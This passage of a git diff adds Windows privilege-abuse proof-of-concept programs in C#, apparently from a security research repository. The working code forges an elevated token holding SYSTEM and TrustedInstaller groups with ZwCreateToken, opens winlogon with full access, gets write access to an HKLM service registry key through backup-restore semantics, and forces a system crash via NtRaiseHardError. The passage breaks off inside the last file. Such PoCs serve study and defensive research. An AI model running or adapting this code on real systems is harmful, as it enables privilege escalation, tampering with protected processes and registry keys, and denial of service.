IntPtr.Zero; + } + + IntPtr hCurrentToken = WindowsIdentity.GetCurrent().Token; + IntPtr pTokenGroups = GetInformationFromToken( + hCurrentToken, + TOKEN_INFORMATION_CLASS.TokenGroups); + IntPtr pTokenDefaultDacl = GetInformationFromToken( + hCurrentToken, + TOKEN_INFORMATION_CLASS.TokenDefaultDacl); + + if (pTokenDefaultDacl == IntPtr.Zero) + { + Console.WriteLine("[-] Failed to get current token information."); + + return IntPtr.Zero; + } + var tokenUser = new TOKEN_USER(pLocalSystem); + var tokenGroups = (TOKEN_GROUPS)Marshal.PtrToStructure( + pTokenGroups, + typeof(TOKEN_GROUPS)); + var tokenOwner = new TOKEN_OWNER(pAdministrators); + var tokenPrimaryGroup = new TOKEN_PRIMARY_GROUP(pLocalSystem); + var tokenDefaultDacl = (TOKEN_DEFAULT_DACL)Marshal.PtrToStructure( + pTokenDefaultDacl, + typeof(TOKEN_DEFAULT_DACL)); + + StringComparison opt = StringComparison.OrdinalIgnoreCase; + uint groupOwnerAttrs = (uint)( + SE_GROUP_ATTRIBUTES.SE_GROUP_ENABLED_BY_DEFAULT | + SE_GROUP_ATTRIBUTES.SE_GROUP_ENABLED | + SE_GROUP_ATTRIBUTES.SE_GROUP_OWNER); + uint groupEnabledAttrs = (uint)( + SE_GROUP_ATTRIBUTES.SE_GROUP_ENABLED_BY_DEFAULT | + SE_GROUP_ATTRIBUTES.SE_GROUP_ENABLED); + bool isAdmin = false; + bool isSystem = false; + + for (var idx = 0; idx < tokenGroups.GroupCount; idx++) + { + ConvertSidToStringSid( + tokenGroups.Groups[idx].Sid, + out string strSid); + + if (string.Compare(strSid, DOMAIN_ALIAS_RID_ADMINS, opt) == 0) + { + isAdmin = true; + + if (tokenGroups.Groups[idx].Attributes != groupOwnerAttrs) + tokenGroups.Groups[idx].Attributes = groupOwnerAttrs; + } + else if (string.Compare(strSid, LOCAL_SYSTEM_RID, opt) == 0) + { + isSystem = true; + } + else if (string.Compare(strSid, UNTRUSTED_MANDATORY_LEVEL, opt) == 0 | + string.Compare(strSid, LOW_MANDATORY_LEVEL, opt) == 0 | + string.Compare(strSid, MEDIUM_MANDATORY_LEVEL, opt) == 0 | + string.Compare(strSid, MEDIUM_PLUS_MANDATORY_LEVEL, opt) == 0 | + string.Compare(strSid, HIGH_MANDATORY_LEVEL, opt) == 0) + { + tokenGroups.Groups[idx].Sid = pSystemIntegrity; + } + } + + tokenGroups.Groups[tokenGroups.GroupCount].Sid = pTrustedInstaller; + tokenGroups.Groups[tokenGroups.GroupCount].Attributes = groupOwnerAttrs; + tokenGroups.GroupCount++; + + if (!isAdmin) + { + tokenGroups.Groups[tokenGroups.GroupCount].Sid = pAdministrators; + tokenGroups.Groups[tokenGroups.GroupCount].Attributes = groupOwnerAttrs; + tokenGroups.GroupCount++; + } + + if (!isSystem) + { + tokenGroups.Groups[tokenGroups.GroupCount].Sid = pLocalSystem; + tokenGroups.Groups[tokenGroups.GroupCount].Attributes = groupEnabledAttrs; + tokenGroups.GroupCount++; + } + + var expirationTime = new LARGE_INTEGER(-1L); + SECURITY_IMPERSONATION_LEVEL impersonationLevel; + + if (tokenType == TOKEN_TYPE.TokenPrimary) + impersonationLevel = SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous; + else + impersonationLevel = SECURITY_IMPERSONATION_LEVEL.SecurityDelegation; + + var sqos = new SECURITY_QUALITY_OF_SERVICE( + impersonationLevel, + SECURITY_STATIC_TRACKING, + 0); + var oa = new OBJECT_ATTRIBUTES(string.Empty, 0); + IntPtr pSqos = Marshal.AllocHGlobal(Marshal.SizeOf(sqos)); + Marshal.StructureToPtr(sqos, pSqos, true); + oa.SecurityQualityOfService = pSqos; + + int ntstatus = ZwCreateToken( + out IntPtr hToken, + TokenAccessFlags.TOKEN_ALL_ACCESS, + ref oa, + tokenType, + ref authId, + ref expirationTime, + ref tokenUser, + ref tokenGroups, + ref tokenPrivileges, + ref tokenOwner, + ref tokenPrimaryGroup, + ref tokenDefaultDacl, + ref tokenSource); + + LocalFree(pTokenGroups); + LocalFree(pTokenDefaultDacl); + + if (ntstatus != STATUS_SUCCESS) + { + Console.WriteLine("[-] Failed to create elevated token."); + Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(ntstatus, true)); + + return IntPtr.Zero; + } + + Console.WriteLine("[+] An elevated {0} token is created successfully.", + tokenType == TOKEN_TYPE.TokenPrimary ? "primary" : "impersonation"); + + return hToken; + } + + + static bool CreateTokenPrivileges( + string[] privs, + out TOKEN_PRIVILEGES tokenPrivileges) + { + int error; + int sizeOfStruct = Marshal.SizeOf(typeof(TOKEN_PRIVILEGES)); + IntPtr pPrivileges = Marshal.AllocHGlobal(sizeOfStruct); + + tokenPrivileges = (TOKEN_PRIVILEGES)Marshal.PtrToStructure( + pPrivileges, + typeof(TOKEN_PRIVILEGES)); + tokenPrivileges.PrivilegeCount = privs.Length; + + for (var idx = 0; idx < tokenPrivileges.PrivilegeCount; idx++) + { + if (!LookupPrivilegeValue( + null, + privs[idx], + out LUID luid)) + { + error = Marshal.GetLastWin32Error(); + Console.WriteLine("[-] Failed to lookup LUID for {0}.", privs[idx]); + Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false)); + + return false; + } + + tokenPrivileges.Privileges[idx].Attributes = (uint)( + SE_PRIVILEGE_ATTRIBUTES.SE_PRIVILEGE_ENABLED | + SE_PRIVILEGE_ATTRIBUTES.SE_PRIVILEGE_ENABLED_BY_DEFAULT); + tokenPrivileges.Privileges[idx].Luid = luid; + } + + return true; + } + + + static IntPtr GetInformationFromToken( + IntPtr hToken, + TOKEN_INFORMATION_CLASS tokenInfoClass) + { + bool status; + int error; + int length = 32; + IntPtr buffer; + + do + { + buffer = Marshal.AllocHGlobal(length); + ZeroMemory(buffer, length); + status = GetTokenInformation(hToken, tokenInfoClass, buffer, length, out length); + error = Marshal.GetLastWin32Error(); + + if (!status) + Marshal.FreeHGlobal(buffer); + } while (!status && error == ERROR_INSUFFICIENT_BUFFER); + + if (!status) + { + Marshal.FreeHGlobal(buffer); + + return IntPtr.Zero; + } + + return buffer; + } + + + static string GetWin32ErrorMessage(int code, bool isNtStatus) + { + var message = new StringBuilder(); + var messageSize = 255; + FormatMessageFlags messageFlag; + IntPtr pNtdll; + message.Capacity = messageSize; + + if (isNtStatus) + { + pNtdll = LoadLibrary("ntdll.dll"); + messageFlag = FormatMessageFlags.FORMAT_MESSAGE_FROM_HMODULE | + FormatMessageFlags.FORMAT_MESSAGE_FROM_SYSTEM; + } + else + { + pNtdll = IntPtr.Zero; + messageFlag = FormatMessageFlags.FORMAT_MESSAGE_FROM_SYSTEM; + } + + int ret = FormatMessage( + messageFlag, + pNtdll, + code, + 0, + message, + messageSize, + IntPtr.Zero); + + if (isNtStatus) + FreeLibrary(pNtdll); + + if (ret == 0) + { + return string.Format("[ERROR] Code 0x{0}", code.ToString("X8")); + } + else + { + return string.Format( + "[ERROR] Code 0x{0} : {1}", + code.ToString("X8"), + message.ToString().Trim()); + } + } + + + static void ZeroMemory(IntPtr buffer, int size) + { + var nullBytes = new byte[size]; + Marshal.Copy(nullBytes, 0, buffer, size); + } + + + static void Main() + { + Console.WriteLine("[*] If you have SeCreateTokenPrivilege, you can create elevated tokens."); + + IntPtr hToken = CreateElevatedToken(TOKEN_TYPE.TokenImpersonation); + + if (hToken == IntPtr.Zero) + return; + + Console.WriteLine("[+] Got handle to the elevated token (hToken = 0x{0}).", hToken.ToString("X")); + Console.WriteLine("\n[*] To close the handle and exit this program, hit [ENTER] key."); + Console.ReadLine(); + + CloseHandle(hToken); + } + } +} \ No newline at end of file diff --git a/PrivilegedOperations/SeCreateTokenPrivilegePoC/SeCreateTokenPrivilegePoC.csproj b/PrivilegedOperations/SeCreateTokenPrivilegePoC/SeCreateTokenPrivilegePoC.csproj new file mode 100644 index 0000000..ed494bd --- /dev/null +++ b/PrivilegedOperations/SeCreateTokenPrivilegePoC/SeCreateTokenPrivilegePoC.csproj @@ -0,0 +1,54 @@ + + + + + Debug + AnyCPU + {4349B8A8-F17B-44D5-AE4D-21BE9C9D1573} + Exe + SeCreateTokenPrivilegePoC + SeCreateTokenPrivilegePoC + v4.5 + 512 + true + + + AnyCPU + true + full + false + ..\bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + ..\bin\Release\ + TRACE + prompt + 4 + false + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/PrivilegedOperations/SeDebugPrivilegePoC/App.config b/PrivilegedOperations/SeDebugPrivilegePoC/App.config new file mode 100644 index 0000000..8e15646 --- /dev/null +++ b/PrivilegedOperations/SeDebugPrivilegePoC/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/PrivilegedOperations/SeDebugPrivilegePoC/Properties/AssemblyInfo.cs b/PrivilegedOperations/SeDebugPrivilegePoC/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..586dced --- /dev/null +++ b/PrivilegedOperations/SeDebugPrivilegePoC/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("SeDebugPrivilegePoC")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("SeDebugPrivilegePoC")] +[assembly: AssemblyCopyright("Copyright © 2021")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("5745976e-48a7-4f79-9baa-82d1f43d1261")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/PrivilegedOperations/SeDebugPrivilegePoC/SeDebugPrivilegePoC.cs b/PrivilegedOperations/SeDebugPrivilegePoC/SeDebugPrivilegePoC.cs new file mode 100644 index 0000000..9dba2b3 --- /dev/null +++ b/PrivilegedOperations/SeDebugPrivilegePoC/SeDebugPrivilegePoC.cs @@ -0,0 +1,171 @@ +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Text; + +namespace SeDebugPrivilegePoC +{ + class SeDebugPrivilegePoC + { + // Windows definition + // Windows Enum + [Flags] + enum FormatMessageFlags : uint + { + FORMAT_MESSAGE_ALLOCATE_BUFFER = 0x00000100, + FORMAT_MESSAGE_IGNORE_INSERTS = 0x00000200, + FORMAT_MESSAGE_FROM_STRING = 0x00000400, + FORMAT_MESSAGE_FROM_HMODULE = 0x00000800, + FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000, + FORMAT_MESSAGE_ARGUMENT_ARRAY = 0x00002000 + } + + [Flags] + enum ProcessAccessFlags : uint + { + PROCESS_ALL_ACCESS = 0x001F0FFF, + Terminate = 0x00000001, + PROCESS_CREATE_THREAD = 0x00000002, + PROCESS_VM_OPERATION = 0x00000008, + PROCESS_VM_READ = 0x00000010, + PROCESS_VM_WRITE = 0x00000020, + PROCESS_DUP_HANDLE = 0x00000040, + PROCESS_CREATE_PROCESS = 0x000000080, + PROCESS_SET_QUOTA = 0x00000100, + PROCESS_SET_INFORMATION = 0x00000200, + PROCESS_QUERY_INFORMATION = 0x00000400, + PROCESS_QUERY_LIMITED_INFORMATION = 0x00001000, + SYNCHRONIZE = 0x00100000, + MAXIMUM_ALLOWED = 0x02000000 + } + + // Windows API + /* + * kernel32.dll + */ + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + static extern int FormatMessage( + FormatMessageFlags dwFlags, + IntPtr lpSource, + int dwMessageId, + int dwLanguageId, + StringBuilder lpBuffer, + int nSize, + IntPtr Arguments); + + [DllImport("kernel32", SetLastError = true)] + static extern bool FreeLibrary(IntPtr hLibModule); + + [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)] + static extern IntPtr LoadLibrary(string lpFileName); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern IntPtr OpenProcess( + ProcessAccessFlags processAccess, + bool bInheritHandle, + int processId); + + // User define function + static string GetWin32ErrorMessage(int code, bool isNtStatus) + { + var message = new StringBuilder(); + var messageSize = 255; + FormatMessageFlags messageFlag; + IntPtr pNtdll; + message.Capacity = messageSize; + + if (isNtStatus) + { + pNtdll = LoadLibrary("ntdll.dll"); + messageFlag = FormatMessageFlags.FORMAT_MESSAGE_FROM_HMODULE | + FormatMessageFlags.FORMAT_MESSAGE_FROM_SYSTEM; + } + else + { + pNtdll = IntPtr.Zero; + messageFlag = FormatMessageFlags.FORMAT_MESSAGE_FROM_SYSTEM; + } + + int ret = FormatMessage( + messageFlag, + pNtdll, + code, + 0, + message, + messageSize, + IntPtr.Zero); + + if (isNtStatus) + FreeLibrary(pNtdll); + + if (ret == 0) + { + return string.Format("[ERROR] Code 0x{0}", code.ToString("X8")); + } + else + { + return string.Format( + "[ERROR] Code 0x{0} : {1}", + code.ToString("X8"), + message.ToString().Trim()); + } + } + + + static IntPtr OpenWinlogonHandle() + { + int winlogon; + int error; + + Console.WriteLine("[*] If you have SeDebugPrivilege, you can get handle to any privileged process such winlogon.exe."); + + Console.WriteLine("[>] Searching winlogon PID."); + + try + { + winlogon = (Process.GetProcessesByName("winlogon")[0]).Id; + } + catch + { + Console.WriteLine("[-] Failed to get process ID of winlogon."); + return IntPtr.Zero; + } + + Console.WriteLine("[+] PID of winlogon: {0}", winlogon); + Console.WriteLine("[>] Trying to get handle to winlogon."); + + IntPtr hProcess = OpenProcess( + ProcessAccessFlags.PROCESS_ALL_ACCESS, + false, + winlogon); + + if (hProcess == IntPtr.Zero) + { + error = Marshal.GetLastWin32Error(); + Console.WriteLine("[-] Failed to get a winlogon handle."); + Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false)); + return IntPtr.Zero; + } + + return hProcess; + } + + + static void Main() + { + IntPtr hProcess = OpenWinlogonHandle(); + + if (hProcess != IntPtr.Zero) + { + Console.WriteLine("[+] Got handle to winlogon with PROCESS_ALL_ACCESS (hProcess = 0x{0}).", hProcess.ToString("X")); + Console.WriteLine("\n[*] To close the handle and exit this program, hit [ENTER] key."); + Console.ReadLine(); + + CloseHandle(hProcess); + } + } + } +} diff --git a/PrivilegedOperations/SeDebugPrivilegePoC/SeDebugPrivilegePoC.csproj b/PrivilegedOperations/SeDebugPrivilegePoC/SeDebugPrivilegePoC.csproj new file mode 100644 index 0000000..6376329 --- /dev/null +++ b/PrivilegedOperations/SeDebugPrivilegePoC/SeDebugPrivilegePoC.csproj @@ -0,0 +1,54 @@ + + + + + Debug + AnyCPU + {5745976E-48A7-4F79-9BAA-82D1F43D1261} + Exe + SeDebugPrivilegePoC + SeDebugPrivilegePoC + v4.5 + 512 + true + + + AnyCPU + true + full + false + ..\bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + ..\bin\Release\ + TRACE + prompt + 4 + false + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/PrivilegedOperations/SeRestorePrivilegePoC/App.config b/PrivilegedOperations/SeRestorePrivilegePoC/App.config new file mode 100644 index 0000000..8e15646 --- /dev/null +++ b/PrivilegedOperations/SeRestorePrivilegePoC/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/PrivilegedOperations/SeRestorePrivilegePoC/Properties/AssemblyInfo.cs b/PrivilegedOperations/SeRestorePrivilegePoC/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..1f08878 --- /dev/null +++ b/PrivilegedOperations/SeRestorePrivilegePoC/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("SeRestorePrivilegePoC")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("SeRestorePrivilegePoC")] +[assembly: AssemblyCopyright("Copyright © 2021")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("9a374e66-70b5-433d-8d7d-89e3f8ac0617")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/PrivilegedOperations/SeRestorePrivilegePoC/SeRestorePrivilegePoC.cs b/PrivilegedOperations/SeRestorePrivilegePoC/SeRestorePrivilegePoC.cs new file mode 100644 index 0000000..9e9c3b3 --- /dev/null +++ b/PrivilegedOperations/SeRestorePrivilegePoC/SeRestorePrivilegePoC.cs @@ -0,0 +1,153 @@ +using System; +using System.Runtime.InteropServices; +using System.Text; + +namespace SeRestorePrivilegePoC +{ + class SeRestorePrivilegePoC + { + // Windows definition + // Windows Enum + [Flags] + enum FormatMessageFlags : uint + { + FORMAT_MESSAGE_ALLOCATE_BUFFER = 0x00000100, + FORMAT_MESSAGE_IGNORE_INSERTS = 0x00000200, + FORMAT_MESSAGE_FROM_STRING = 0x00000400, + FORMAT_MESSAGE_FROM_HMODULE = 0x00000800, + FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000, + FORMAT_MESSAGE_ARGUMENT_ARRAY = 0x00002000 + } + + // Windows API + /* + * advapi32.dll + */ + [DllImport("advapi32.dll", SetLastError = false)] + static extern int RegCreateKeyEx( + UIntPtr hKey, + string lpSubKey, + IntPtr Reserved, + IntPtr lpClass, + uint dwOptions, + uint samDesired, + IntPtr lpSecurityAttributes, + out IntPtr phkResult, + IntPtr lpdwDisposition); + + /* + * kernel32.dll + */ + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + static extern int FormatMessage( + FormatMessageFlags dwFlags, + IntPtr lpSource, + int dwMessageId, + int dwLanguageId, + StringBuilder lpBuffer, + int nSize, + IntPtr Arguments); + + [DllImport("kernel32", SetLastError = true)] + static extern bool FreeLibrary(IntPtr hLibModule); + + [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)] + static extern IntPtr LoadLibrary(string lpFileName); + + // Windows Const + const int STATUS_SUCCESS = 0; + static readonly UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002u); + const uint REG_OPTION_BACKUP_RESTORE = 0x00000004; + const uint KEY_SET_VALUE = 0x0002; + + // User define function + static string GetWin32ErrorMessage(int code, bool isNtStatus) + { + var message = new StringBuilder(); + var messageSize = 255; + FormatMessageFlags messageFlag; + IntPtr pNtdll; + message.Capacity = messageSize; + + if (isNtStatus) + { + pNtdll = LoadLibrary("ntdll.dll"); + messageFlag = FormatMessageFlags.FORMAT_MESSAGE_FROM_HMODULE | + FormatMessageFlags.FORMAT_MESSAGE_FROM_SYSTEM; + } + else + { + pNtdll = IntPtr.Zero; + messageFlag = FormatMessageFlags.FORMAT_MESSAGE_FROM_SYSTEM; + } + + int ret = FormatMessage( + messageFlag, + pNtdll, + code, + 0, + message, + messageSize, + IntPtr.Zero); + + if (isNtStatus) + FreeLibrary(pNtdll); + + if (ret == 0) + { + return string.Format("[ERROR] Code 0x{0}", code.ToString("X8")); + } + else + { + return string.Format( + "[ERROR] Code 0x{0} : {1}", + code.ToString("X8"), + message.ToString().Trim()); + } + } + + static IntPtr PrivilegedRegKeyOperation(string regKeyName) + { + Console.WriteLine("[*] If you have SeRestorePrivilege, you can get handle to sensitive files and registries with REG_OPTION_BACKUP_RESTORE flag."); + Console.WriteLine("[>] Trying to get handle to HKLM:\\{0}.", regKeyName); + + int ntstatus = RegCreateKeyEx( + HKEY_LOCAL_MACHINE, + regKeyName, + IntPtr.Zero, + IntPtr.Zero, + REG_OPTION_BACKUP_RESTORE, + KEY_SET_VALUE, + IntPtr.Zero, + out IntPtr phkResult, + IntPtr.Zero); + + if (ntstatus != STATUS_SUCCESS) + { + Console.WriteLine("[-] Failed to get handle to HKLM:\\{0}.", regKeyName); + Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(ntstatus, true)); + return IntPtr.Zero; + } + + return phkResult; + } + + static void Main() + { + string regKeyName = "SYSTEM\\CurrentControlSet\\Services\\dmwappushservice\\Parameters"; + IntPtr phkResult = PrivilegedRegKeyOperation(regKeyName); + + if (phkResult != IntPtr.Zero) + { + Console.WriteLine("[+] Got handle to HKLM:\\{0} (hFile = 0x{1}).", regKeyName, phkResult.ToString("X")); + Console.WriteLine("\n[*] To close the handle and exit this program, hit [ENTER] key."); + Console.ReadLine(); + + CloseHandle(phkResult); + } + } + } +} diff --git a/PrivilegedOperations/SeRestorePrivilegePoC/SeRestorePrivilegePoC.csproj b/PrivilegedOperations/SeRestorePrivilegePoC/SeRestorePrivilegePoC.csproj new file mode 100644 index 0000000..a3e1a7a --- /dev/null +++ b/PrivilegedOperations/SeRestorePrivilegePoC/SeRestorePrivilegePoC.csproj @@ -0,0 +1,54 @@ + + + + + Debug + AnyCPU + {9A374E66-70B5-433D-8D7D-89E3F8AC0617} + Exe + SeRestorePrivilegePoC + SeRestorePrivilegePoC + v4.5 + 512 + true + + + AnyCPU + true + full + false + ..\bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + ..\bin\Release\ + TRACE + prompt + 4 + false + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/PrivilegedOperations/SeShutdownPrivilegePoC/App.config b/PrivilegedOperations/SeShutdownPrivilegePoC/App.config new file mode 100644 index 0000000..8e15646 --- /dev/null +++ b/PrivilegedOperations/SeShutdownPrivilegePoC/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/PrivilegedOperations/SeShutdownPrivilegePoC/Properties/AssemblyInfo.cs b/PrivilegedOperations/SeShutdownPrivilegePoC/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..8765b1d --- /dev/null +++ b/PrivilegedOperations/SeShutdownPrivilegePoC/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("SeShutdownPrivilegePoC")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("SeShutdownPrivilegePoC")] +[assembly: AssemblyCopyright("Copyright © 2022")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("9e36ae6e-b9fd-4b9b-99ba-42d3eacd7506")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/PrivilegedOperations/SeShutdownPrivilegePoC/SeShutdownPrivilegePoC.cs b/PrivilegedOperations/SeShutdownPrivilegePoC/SeShutdownPrivilegePoC.cs new file mode 100644 index 0000000..7fa7114 --- /dev/null +++ b/PrivilegedOperations/SeShutdownPrivilegePoC/SeShutdownPrivilegePoC.cs @@ -0,0 +1,223 @@ +using System; +using System.Text; +using System.Runtime.InteropServices; + +namespace SeShutdownPrivilegePoC +{ + class SeShutdownPrivilegePoC + { + /* + * P/Invoke : Enums + */ + [Flags] + enum FormatMessageFlags : uint + { + FORMAT_MESSAGE_ALLOCATE_BUFFER = 0x00000100, + FORMAT_MESSAGE_IGNORE_INSERTS = 0x00000200, + FORMAT_MESSAGE_FROM_STRING = 0x00000400, + FORMAT_MESSAGE_FROM_HMODULE = 0x00000800, + FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000, + FORMAT_MESSAGE_ARGUMENT_ARRAY = 0x00002000 + } + + enum HARDERROR_RESPONSE + { + ResponseReturnToCaller, + ResponseNotHandled, + ResponseAbort, + ResponseCancel, + ResponseIgnore, + ResponseNo, + ResponseOk, + ResponseRetry, + ResponseYes + } + + enum HARDERROR_RESPONSE_OPTION + { + OptionAbortRetryIgnore, + OptionOk, + OptionOkCancel, + OptionRetryCancel, + OptionYesNo, + OptionYesNoCancel, + OptionShutdownSystem + } + + enum MESSAGEBOX_RETURN + { + IDOK = 1, + IDCANCEL = 2, + IDABORT = 3, + IDRETRY = 4, + IDIGNORE = 5, + IDYES = 6, + IDNO = 7, + IDTRYAGAIN = 10, + IDCONTINUE = 11 + } + + [Flags] + enum MESSAGEBOX_TYPE : uint + { + MB_APPLMODAL = 0x00000000u, + MB_DEFBUTTON1 = 0x00000000u, + MB_OK = 0x00000000u, + MB_OKCANCEL = 0x00000001u, + MB_ABORTRETRYIGNORE = 0x00000002u, + MB_YESNOCANCEL = 0x00000003u, + MB_YESNO = 0x00000004u, + MB_RETRYCANCEL = 0x00000005u, + MB_CANCELTRYCONTINUE = 0x00000006u, + MB_ICONSTOP = 0x00000010u, + MB_ICONERROR = 0x00000010u, + MB_ICONHAND = 0x00000010u, + MB_ICONQUESTION = 0x00000020u, + MB_ICONEXCLAMATION = 0x00000030u, + MB_ICONWARNING = 0x00000030u, + MB_ICONINFORMATION = 0x00000040u, + MB_ICONASTERISK = 0x00000040u, + MB_DEFBUTTON2 = 0x00000100u, + MB_DEFBUTTON3 = 0x00000200u, + MB_DEFBUTTON4 = 0x00000300u, + MB_SYSTEMMODAL = 0x00001000u, + MB_TASKMODAL = 0x00002000u, + MB_HELP = 0x00004000u, + MB_SETFOREGROUND = 0x00010000u, + MB_DEFAULT_DESKTOP_ONLY = 0x00020000u, + MB_TOPMOST = 0x00040000u, + MB_RIGHT = 0x00080000u, + MB_RTLREADING = 0x00100000u, + MB_SERVICE_NOTIFICATION = 0x00200000u + } + + /* + * P/Invoke : Win32 APIs + */ + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + static extern int FormatMessage( + FormatMessageFlags dwFlags, + IntPtr lpSource, + int dwMessageId, + int dwLanguageId, + StringBuilder lpBuffer, + int nSize, + IntPtr Arguments); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool FreeLibrary(IntPtr hLibModule); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)] + static extern IntPtr LoadLibrary(string lpFileName); + + [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)] + static extern int MessageBox( + IntPtr hWnd, + string lpText, + string lpCaption, + MESSAGEBOX_TYPE uType); + + [DllImport("ntdll.dll")] + static extern int NtRaiseHardError( + int ErrorStatus, + uint NumberOfParameters, + IntPtr /* PUNICODE_STRING */ UnicodeStringParameterMask, + IntPtr Parameters, + HARDERROR_RESPONSE_OPTION ResponseOption, + out HARDERROR_RESPONSE Response ); + + + static string GetWin32ErrorMessage(int code, bool isNtStatus) + { + var message = new StringBuilder(); + var messageSize = 255; + FormatMessageFlags messageFlag; + IntPtr pNtdll; + message.Capacity = messageSize; + + if (isNtStatus) + { + pNtdll = LoadLibrary("ntdll.dll"); + messageFlag = FormatMessageFlags.FORMAT_MESSAGE_FROM_HMODULE | + FormatMessageFlags.FORMAT_MESSAGE_FROM_SYSTEM; + } + else + { + pNtdll = IntPtr.Zero; + messageFlag = FormatMessageFlags.FORMAT_MESSAGE_FROM_SYSTEM; + } + + int ret = FormatMessage( + messageFlag, + pNtdll, + code, + 0, + message, + messageSize, + IntPtr.Zero); + + if (isNtStatus) + FreeLibrary(pNtdll); + + if (ret == 0) + { + return string.Format("[ERROR] Code 0x{0}", code.ToString("X8")); + } + else + { + return string.Format( + "[ERROR] Code 0x{0} : {1}", + code.ToString("X8"), + message.ToString().Trim()); + } + } + + static bool RaiseBSOD() + { + int STATUS_SUCCESS = 0; + int STATUS_ACCESS_VIOLATION = Convert.ToInt32("0xC0000005", 16); + + int ntstatus = NtRaiseHardError( + STATUS_ACCESS_VIOLATION, + 0, + IntPtr.Zero, + IntPtr.Zero, + HARDERROR_RESPONSE_OPTION.OptionShutdownSystem, + out HARDERROR_RESPONSE Response); + + if (ntstatus != STATUS_SUCCESS) + { + Console.WriteLine("[-] Failed to raise hard error."); + Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(ntstatus, true)); + + return false; + } + + Console.WriteLine("[+] NtRaiseHardError API is called successfully."); + + return true; + } + + static void Main() + { + Console.WriteLine("[*] If you have SeShutdownPrivilege, you can raise hard error."); + Console.WriteLine("[*] This PoC 